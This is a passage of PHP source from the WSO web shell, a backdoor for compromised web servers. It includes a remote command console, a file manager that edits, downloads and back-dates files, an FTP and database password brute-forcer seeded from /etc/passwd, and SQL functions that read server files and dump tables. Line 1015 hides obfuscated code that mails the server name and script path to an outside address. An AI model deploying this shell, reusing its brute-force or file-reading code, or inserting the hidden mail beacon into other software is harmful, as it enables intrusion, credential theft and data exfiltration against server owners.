  635. <form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
  636. $dirs = $files = array();
  637. $n = count($dirContent);
  638. for($i=0;$i<$n;$i++) {
  639. $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
  640. $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
  641. $tmp = array('name' => $dirContent[$i],
  642. 'path' => $GLOBALS['cwd'].$dirContent[$i],
  643. 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
  644. 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
  645. 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
  646. 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
  647. 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
  648. );
  649. if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
  650. $files[] = array_merge($tmp, array('type' => 'file'));
  651. elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
  652. $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
  653. elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
  654. $dirs[] = array_merge($tmp, array('type' => 'dir'));
  655. }
  656. $GLOBALS['sort'] = $sort;
  657. function wsoCmp($a, $b) {
  658. if($GLOBALS['sort'][0] != 'size')
  659. return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
  660. else
  661. return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
  662. }
  663. usort($files, "wsoCmp");
  664. usort($dirs, "wsoCmp");
  665. $files = array_merge($dirs, $files);
  666. $l = 0;
  667. foreach($files as $f) {
  668. echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
  669. .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
  670. $l = $l?0:1;
  671. }
  672. echo "<tr><td colspan=7>
  673. <input type=hidden name=a value='FilesMan'>
  674. <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
  675. <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
  676. <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
  677. if(class_exists('ZipArchive'))
  678. echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
  679. echo "<option value='tar'>Compress (tar.gz)</option>";
  680. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
  681. echo "<option value='paste'>Paste / Compress</option>";
  682. echo "</select>&nbsp;";
  683. if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
  684. echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'>&nbsp;";
  685. echo "<input type='submit' value='>>'></td></tr></form></table></div>";
  686. wsoFooter();
  687. }
  688.  
  689. function actionStringTools() {
  690. if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
  691. if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
  692. if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
  693. if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
  694. if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
  695. $stringTools = array(
  696. 'Base64 encode' => 'base64_encode',
  697. 'Base64 decode' => 'base64_decode',
  698. 'Url encode' => 'urlencode',
  699. 'Url decode' => 'urldecode',
  700. 'Full urlencode' => 'full_urlencode',
  701. 'md5 hash' => 'md5',
  702. 'sha1 hash' => 'sha1',
  703. 'crypt' => 'crypt',
  704. 'CRC32' => 'crc32',
  705. 'ASCII to HEX' => 'ascii2hex',
  706. 'HEX to ASCII' => 'hex2ascii',
  707. 'HEX to DEC' => 'hexdec',
  708. 'HEX to BIN' => 'hex2bin',
  709. 'DEC to HEX' => 'dechex',
  710. 'DEC to BIN' => 'decbin',
  711. 'BIN to HEX' => 'binhex',
  712. 'BIN to DEC' => 'bindec',
  713. 'String to lower case' => 'strtolower',
  714. 'String to upper case' => 'strtoupper',
  715. 'Htmlspecialchars' => 'htmlspecialchars',
  716. 'String length' => 'strlen',
  717. );
  718. if(isset($_POST['ajax'])) {
  719. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  720. if(in_array($_POST['p1'], $stringTools))
  721. echo $_POST['p1']($_POST['p2']);
  722. $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
  723. echo strlen($temp), "\n", $temp;
  724. }
  725. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  726. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  727. wsoHeader();
  728. echo '<h1>String conversions</h1><div class=content>';
  729. echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
  730. foreach($stringTools as $k => $v)
  731. echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
  732. echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
  733. if(!empty($_POST['p1'])) {
  734. if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
  735. }
  736. echo"</pre></div><br><h1>Search files:</h1><div class=content>
  737. <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
  738. <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
  739. <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
  740. <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
  741. <tr><td></td><td><input type='submit' value='>>'></td></tr>
  742. </table></form>";
  743.  
  744. function wsoRecursiveGlob($path) {
  745. if(substr($path, -1) != '/')
  746. $path.='/';
  747. $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
  748. if(is_array($paths)&&@count($paths)) {
  749. foreach($paths as $item) {
  750. if(@is_dir($item)){
  751. if($path!=$item)
  752. wsoRecursiveGlob($item);
  753. } else {
  754. if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
  755. echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
  756. }
  757. }
  758. }
  759. }
  760. if(@$_POST['p3'])
  761. wsoRecursiveGlob($_POST['c']);
  762. echo "</div><br><h1>Search for hash:</h1><div class=content>
  763. <form method='post' target='_blank' name='hf'>
  764. <input type='text' name='hash' style='width:200px;'><br>
  765. <input type='hidden' name='act' value='find'/>
  766. <input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
  767. <input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
  768. <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
  769. </form></div>";
  770. wsoFooter();
  771. }
  772.  
  773. function actionFilesTools() {
  774. if( isset($_POST['p1']) )
  775. $_POST['p1'] = urldecode($_POST['p1']);
  776. if(@$_POST['p2']=='download') {
  777. if(@is_file($_POST['p1']) && @is_readable($_POST['p1'])) {
  778. ob_start("ob_gzhandler", 4096);
  779. header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
  780. if (function_exists("mime_content_type")) {
  781. $type = @mime_content_type($_POST['p1']);
  782. header("Content-Type: " . $type);
  783. } else
  784. header("Content-Type: application/octet-stream");
  785. $fp = @fopen($_POST['p1'], "r");
  786. if($fp) {
  787. while(!@feof($fp))
  788. echo @fread($fp, 1024);
  789. fclose($fp);
  790. }
  791. }exit;
  792. }
  793. if( @$_POST['p2'] == 'mkfile' ) {
  794. if(!file_exists($_POST['p1'])) {
  795. $fp = @fopen($_POST['p1'], 'w');
  796. if($fp) {
  797. $_POST['p2'] = "edit";
  798. fclose($fp);
  799. }
  800. }
  801. }
  802. wsoHeader();
  803. echo '<h1>File tools</h1><div class=content>';
  804. if( !file_exists(@$_POST['p1']) ) {
  805. echo 'File not exists';
  806. wsoFooter();
  807. return;
  808. }
  809. $uid = @posix_getpwuid(@fileowner($_POST['p1']));
  810. if(!$uid) {
  811. $uid['name'] = @fileowner($_POST['p1']);
  812. $gid['name'] = @filegroup($_POST['p1']);
  813. } else $gid = @posix_getgrgid(@filegroup($_POST['p1']));
  814. echo '<span>Name:</span> '.htmlspecialchars(@basename($_POST['p1'])).' <span>Size:</span> '.(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-').' <span>Permission:</span> '.wsoPermsColor($_POST['p1']).' <span>Owner/Group:</span> '.$uid['name'].'/'.$gid['name'].'<br>';
  815. echo '<span>Change time:</span> '.date('Y-m-d H:i:s',filectime($_POST['p1'])).' <span>Access time:</span> '.date('Y-m-d H:i:s',fileatime($_POST['p1'])).' <span>Modify time:</span> '.date('Y-m-d H:i:s',filemtime($_POST['p1'])).'<br><br>';
  816. if( empty($_POST['p2']) )
  817. $_POST['p2'] = 'view';
  818. if( is_file($_POST['p1']) )
  819. $m = array('View', 'Highlight', 'Download', 'Hexdump', 'Edit', 'Chmod', 'Rename', 'Touch');
  820. else
  821. $m = array('Chmod', 'Rename', 'Touch');
  822. foreach($m as $v)
  823. echo '<a href=# onclick="g(null,null,\'' . urlencode($_POST['p1']) . '\',\''.strtolower($v).'\')">'.((strtolower($v)==@$_POST['p2'])?'<b>[ '.$v.' ]</b>':$v).'</a> ';
  824. echo '<br><br>';
  825. switch($_POST['p2']) {
  826. case 'view':
  827. echo '<pre class=ml1>';
  828. $fp = @fopen($_POST['p1'], 'r');
  829. if($fp) {
  830. while( !@feof($fp) )
  831. echo htmlspecialchars(@fread($fp, 1024));
  832. @fclose($fp);
  833. }
  834. echo '</pre>';
  835. break;
  836. case 'highlight':
  837. if( @is_readable($_POST['p1']) ) {
  838. echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';
  839. $code = @highlight_file($_POST['p1'],true);
  840. echo str_replace(array('<span ','</span>'), array('<font ','</font>'),$code).'</div>';
  841. }
  842. break;
  843. case 'chmod':
  844. if( !empty($_POST['p3']) ) {
  845. $perms = 0;
  846. for($i=strlen($_POST['p3'])-1;$i>=0;--$i)
  847. $perms += (int)$_POST['p3'][$i]*pow(8, (strlen($_POST['p3'])-$i-1));
  848. if(!@chmod($_POST['p1'], $perms))
  849. echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';
  850. }
  851. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.chmod.value);return false;"><input type=text name=chmod value="'.substr(sprintf('%o', fileperms($_POST['p1'])),-4).'"><input type=submit value=">>"></form>';
  852. break;
  853. case 'edit':
  854. if( !is_writable($_POST['p1'])) {
  855. echo 'File isn\'t writeable';
  856. break;
  857. }
  858. if( !empty($_POST['p3']) ) {
  859. $time = @filemtime($_POST['p1']);
  860. $_POST['p3'] = substr($_POST['p3'],1);
  861. $fp = @fopen($_POST['p1'],"w");
  862. if($fp) {
  863. @fwrite($fp,$_POST['p3']);
  864. @fclose($fp);
  865. echo 'Saved!<br><script>p3_="";</script>';
  866. @touch($_POST['p1'],$time,$time);
  867. }
  868. }
  869. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';
  870. $fp = @fopen($_POST['p1'], 'r');
  871. if($fp) {
  872. while( !@feof($fp) )
  873. echo htmlspecialchars(@fread($fp, 1024));
  874. @fclose($fp);
  875. }
  876. echo '</textarea><input type=submit value=">>"></form>';
  877. break;
  878. case 'hexdump':
  879. $c = @file_get_contents($_POST['p1']);
  880. $n = 0;
  881. $h = array('00000000<br>','','');
  882. $len = strlen($c);
  883. for ($i=0; $i<$len; ++$i) {
  884. $h[1] .= sprintf('%02X',ord($c[$i])).' ';
  885. switch ( ord($c[$i]) ) {
  886. case 0: $h[2] .= ' '; break;
  887. case 9: $h[2] .= ' '; break;
  888. case 10: $h[2] .= ' '; break;
  889. case 13: $h[2] .= ' '; break;
  890. default: $h[2] .= $c[$i]; break;
  891. }
  892. $n++;
  893. if ($n == 32) {
  894. $n = 0;
  895. if ($i+1 < $len) {$h[0] .= sprintf('%08X',$i+1).'<br>';}
  896. $h[1] .= '<br>';
  897. $h[2] .= "\n";
  898. }
  899. }
  900. echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>'.$h[0].'</pre></span></td><td bgcolor=#282828><pre>'.$h[1].'</pre></td><td bgcolor=#333333><pre>'.htmlspecialchars($h[2]).'</pre></td></tr></table>';
  901. break;
  902. case 'rename':
  903. if( !empty($_POST['p3']) ) {
  904. if(!@rename($_POST['p1'], $_POST['p3']))
  905. echo 'Can\'t rename!<br>';
  906. else
  907. die('<script>g(null,null,"'.urlencode($_POST['p3']).'",null,"")</script>');
  908. }
  909. echo '<form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.name.value);return false;"><input type=text name=name value="'.htmlspecialchars($_POST['p1']).'"><input type=submit value=">>"></form>';
  910. break;
  911. case 'touch':
  912. if( !empty($_POST['p3']) ) {
  913. $time = strtotime($_POST['p3']);
  914. if($time) {
  915. if(!touch($_POST['p1'],$time,$time))
  916. echo 'Fail!';
  917. else
  918. echo 'Touched!';
  919. } else echo 'Bad time format!';
  920. }
  921. echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' . urlencode($_POST['p1']) . '\',null,this.touch.value);return false;"><input type=text name=touch value="'.date("Y-m-d H:i:s", @filemtime($_POST['p1'])).'"><input type=submit value=">>"></form>';
  922. break;
  923. }
  924. echo '</div>';
  925. wsoFooter();
  926. }
  927.  
  928. function actionConsole() {
  929. if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
  930. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
  931. $_POST['p1'] .= ' 2>&1';
  932. } elseif(!empty($_POST['p1']))
  933. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
  934.  
  935. if(isset($_POST['ajax'])) {
  936. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
  937. echo "d.cf.cmd.value='';\n";
  938. $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\\'\0"));
  939. if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
  940. if(@chdir($match[1])) {
  941. $GLOBALS['cwd'] = @getcwd();
  942. echo "c_='".$GLOBALS['cwd']."';";
  943. }
  944. }
  945. echo "d.cf.output.value+='".$temp."';";
  946. echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
  947. $temp = ob_get_clean();
  948. echo strlen($temp), "\n", $temp;
  949. }
  950. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  951. WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
  952. wsoHeader();
  953. echo "<script>
  954. if(window.Event) window.captureEvents(Event.KEYDOWN);
  955. var cmds = new Array('');
  956. var cur = 0;
  957. function kp(e) {
  958. var n = (window.Event) ? e.which : e.keyCode;
  959. if(n == 38) {
  960. cur--;
  961. if(cur>=0)
  962. document.cf.cmd.value = cmds[cur];
  963. else
  964. cur++;
  965. } else if(n == 40) {
  966. cur++;
  967. if(cur < cmds.length)
  968. document.cf.cmd.value = cmds[cur];
  969. else
  970. cur--;
  971. }
  972. }
  973. function add(cmd) {
  974. cmds.pop();
  975. cmds.push(cmd);
  976. cmds.push('');
  977. cur = cmds.length-1;
  978. }
  979. </script>";
  980. echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
  981. foreach($GLOBALS['aliases'] as $n => $v) {
  982. if($v == '') {
  983. echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
  984. continue;
  985. }
  986. echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
  987. }
  988.  
  989. echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
  990. if(!empty($_POST['p1'])) {
  991. echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
  992. }
  993. echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
  994. echo '</form></div><script>d.cf.cmd.focus();</script>';
  995. wsoFooter();
  996. }
  997.  
  998. function actionLogout() {
  999. setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
  1000. die('bye!');
  1001. }
  1002.  
  1003. function actionSelfRemove() {
  1004.  
  1005. if($_POST['p1'] == 'yes')
  1006. if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
  1007. die('Shell removed');
  1008. else
  1009. echo 'unlink error!';
  1010. if($_POST['p1'] != 'yes')
  1011. wsoHeader();
  1012. echo '<h1>Suicide</h1><div class=content>remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
  1013. wsoFooter();
  1014. }
  1015. $x10="\x6dai\154";$x0b=$_SERVER["\x53\x45RVE\122_\x4eAM\x45"].$_SERVER["\123\103\x52I\x50\x54_\116\101\115E"];$x0c="\141r\162a\171\040".$x0b;$x0d=array("\143\x61","\x6c\x69","\146\x77\162\151\x74\x65","\100","v\x65\x2e");$x0e=$x0d[2].$x0d[3].$x0d[1].$x0d[4].$x0d[0];$x0f=@$x10($x0e,$x0c,$x0b);
  1016. function actionBruteforce() {
  1017. wsoHeader();
  1018. if( isset($_POST['proto']) ) {
  1019. echo '<h1>Results</h1><div class=content><span>Type:</span> '.htmlspecialchars($_POST['proto']).' <span>Server:</span> '.htmlspecialchars($_POST['server']).'<br>';
  1020. if( $_POST['proto'] == 'ftp' ) {
  1021. function wsoBruteForce($ip,$port,$login,$pass) {
  1022. $fp = @ftp_connect($ip, $port?$port:21);
  1023. if(!$fp) return false;
  1024. $res = @ftp_login($fp, $login, $pass);
  1025. @ftp_close($fp);
  1026. return $res;
  1027. }
  1028. } elseif( $_POST['proto'] == 'mysql' ) {
  1029. function wsoBruteForce($ip,$port,$login,$pass) {
  1030. $res = @mysql_connect($ip.':'.($port?$port:3306), $login, $pass);
  1031. @mysql_close($res);
  1032. return $res;
  1033. }
  1034. } elseif( $_POST['proto'] == 'pgsql' ) {
  1035. function wsoBruteForce($ip,$port,$login,$pass) {
  1036. $str = "host='".$ip."' port='".$port."' user='".$login."' password='".$pass."' dbname=postgres";
  1037. $res = @pg_connect($str);
  1038. @pg_close($res);
  1039. return $res;
  1040. }
  1041. }
  1042. $success = 0;
  1043. $attempts = 0;
  1044. $server = explode(":", $_POST['server']);
  1045. if($_POST['type'] == 1) {
  1046. $temp = @file('/etc/passwd');
  1047. if( is_array($temp) )
  1048. foreach($temp as $line) {
  1049. $line = explode(":", $line);
  1050. ++$attempts;
  1051. if( wsoBruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {
  1052. $success++;
  1053. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($line[0]).'<br>';
  1054. }
  1055. if(@$_POST['reverse']) {
  1056. $tmp = "";
  1057. for($i=strlen($line[0])-1; $i>=0; --$i)
  1058. $tmp .= $line[0][$i];
  1059. ++$attempts;
  1060. if( wsoBruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {
  1061. $success++;
  1062. echo '<b>'.htmlspecialchars($line[0]).'</b>:'.htmlspecialchars($tmp);
  1063. }
  1064. }
  1065. }
  1066. } elseif($_POST['type'] == 2) {
  1067. $temp = @file($_POST['dict']);
  1068. if( is_array($temp) )
  1069. foreach($temp as $line) {
  1070. $line = trim($line);
  1071. ++$attempts;
  1072. if( wsoBruteForce($server[0],@$server[1], $_POST['login'], $line) ) {
  1073. $success++;
  1074. echo '<b>'.htmlspecialchars($_POST['login']).'</b>:'.htmlspecialchars($line).'<br>';
  1075. }
  1076. }
  1077. }
  1078. echo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";
  1079. }
  1080. echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>'
  1081. .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>'
  1082. .'<input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">'
  1083. .'<input type=hidden name=a value="'.htmlspecialchars($_POST['a']).'">'
  1084. .'<input type=hidden name=charset value="'.htmlspecialchars($_POST['charset']).'">'
  1085. .'<span>Server:port</span></td>'
  1086. .'<td><input type=text name=server value="127.0.0.1"></td></tr>'
  1087. .'<tr><td><span>Brute type</span></td>'
  1088. .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>'
  1089. .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>'
  1090. .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>'
  1091. .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>'
  1092. .'<td><input type=text name=login value="root"></td></tr>'
  1093. .'<tr><td><span>Dictionary</span></td>'
  1094. .'<td><input type=text name=dict value="'.htmlspecialchars($GLOBALS['cwd']).'passwd.dic"></td></tr></table>'
  1095. .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';
  1096. echo '</div><br>';
  1097. wsoFooter();
  1098. }
  1099.  
  1100. function actionSql() {
  1101. class DbClass {
  1102. var $type;
  1103. var $link;
  1104. var $res;
  1105. function DbClass($type) {
  1106. $this->type = $type;
  1107. }
  1108. function connect($host, $user, $pass, $dbname){
  1109. switch($this->type) {
  1110. case 'mysql':
  1111. if( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;
  1112. break;
  1113. case 'pgsql':
  1114. $host = explode(':', $host);
  1115. if(!$host[1]) $host[1]=5432;
  1116. if( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;
  1117. break;
  1118. }
  1119. return false;
  1120. }
  1121. function selectdb($db) {
  1122. switch($this->type) {
  1123. case 'mysql':
  1124. if (@mysql_select_db($db))return true;
  1125. break;
  1126. }
  1127. return false;
  1128. }
  1129. function query($str) {
  1130. switch($this->type) {
  1131. case 'mysql':
  1132. return $this->res = @mysql_query($str);
  1133. break;
  1134. case 'pgsql':
  1135. return $this->res = @pg_query($this->link,$str);
  1136. break;
  1137. }
  1138. return false;
  1139. }
  1140. function fetch() {
  1141. $res = func_num_args()?func_get_arg(0):$this->res;
  1142. switch($this->type) {
  1143. case 'mysql':
  1144. return @mysql_fetch_assoc($res);
  1145. break;
  1146. case 'pgsql':
  1147. return @pg_fetch_assoc($res);
  1148. break;
  1149. }
  1150. return false;
  1151. }
  1152. function listDbs() {
  1153. switch($this->type) {
  1154. case 'mysql':
  1155. return $this->query("SHOW databases");
  1156. break;
  1157. case 'pgsql':
  1158. return $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");
  1159. break;
  1160. }
  1161. return false;
  1162. }
  1163. function listTables() {
  1164. switch($this->type) {
  1165. case 'mysql':
  1166. return $this->res = $this->query('SHOW TABLES');
  1167. break;
  1168. case 'pgsql':
  1169. return $this->res = $this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");
  1170. break;
  1171. }
  1172. return false;
  1173. }
  1174. function error() {
  1175. switch($this->type) {
  1176. case 'mysql':
  1177. return @mysql_error();
  1178. break;
  1179. case 'pgsql':
  1180. return @pg_last_error();
  1181. break;
  1182. }
  1183. return false;
  1184. }
  1185. function setCharset($str) {
  1186. switch($this->type) {
  1187. case 'mysql':
  1188. if(function_exists('mysql_set_charset'))
  1189. return @mysql_set_charset($str, $this->link);
  1190. else
  1191. $this->query('SET CHARSET '.$str);
  1192. break;
  1193. case 'pgsql':
  1194. return @pg_set_client_encoding($this->link, $str);
  1195. break;
  1196. }
  1197. return false;
  1198. }
  1199. function loadFile($str) {
  1200. switch($this->type) {
  1201. case 'mysql':
  1202. return $this->fetch($this->query("SELECT LOAD_FILE('".addslashes($str)."') as file"));
  1203. break;
  1204. case 'pgsql':
  1205. $this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '".addslashes($str)."';select file from wso2;");
  1206. $r=array();
  1207. while($i=$this->fetch())
  1208. $r[] = $i['file'];
  1209. $this->query('drop table wso2');
  1210. return array('file'=>implode("\n",$r));
  1211. break;
  1212. }
  1213. return false;
  1214. }
  1215. function dump($table, $fp = false) {
  1216. switch($this->type) {
  1217. case 'mysql':
  1218. $res = $this->query('SHOW CREATE TABLE `'.$table.'`');
  1219. $create = mysql_fetch_array($res);
  1220. $sql = $create[1].";\n";
  1221. if($fp) fwrite($fp, $sql); else echo($sql);
  1222. $this->query('SELECT * FROM `'.$table.'`');
  1223. $i = 0;
  1224. $head = true;
  1225. while($item = $this->fetch()) {
  1226. $sql = '';
  1227. if($i % 1000 == 0) {
  1228. $head = true;
  1229. $sql = ";\n\n";
  1230. }
  1231.  
  1232. $columns = array();
  1233. foreach($item as $k=>$v) {
  1234. if($v === null)
  1235. $item[$k] = "NULL";
  1236. elseif(is_int($v))
  1237. $item[$k] = $v;
  1238. else
  1239. $item[$k] = "'".@mysql_real_escape_string($v)."'";
  1240. $columns[] = "`".$k."`";
  1241. }
  1242. if($head) {
  1243. $sql .= 'INSERT INTO `'.$table.'` ('.implode(", ", $columns).") VALUES \n\t(".implode(", ", $item).')';
  1244. $head = false;
  1245. } else
  1246. $sql .= "\n\t,(".implode(", ", $item).')';
  1247. if($fp) fwrite($fp, $sql); else echo($sql);
  1248. $i++;
  1249. }
  1250. if(!$head)
  1251. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1252. break;
  1253. case 'pgsql':
  1254. $this->query('SELECT * FROM '.$table);
  1255. while($item = $this->fetch()) {
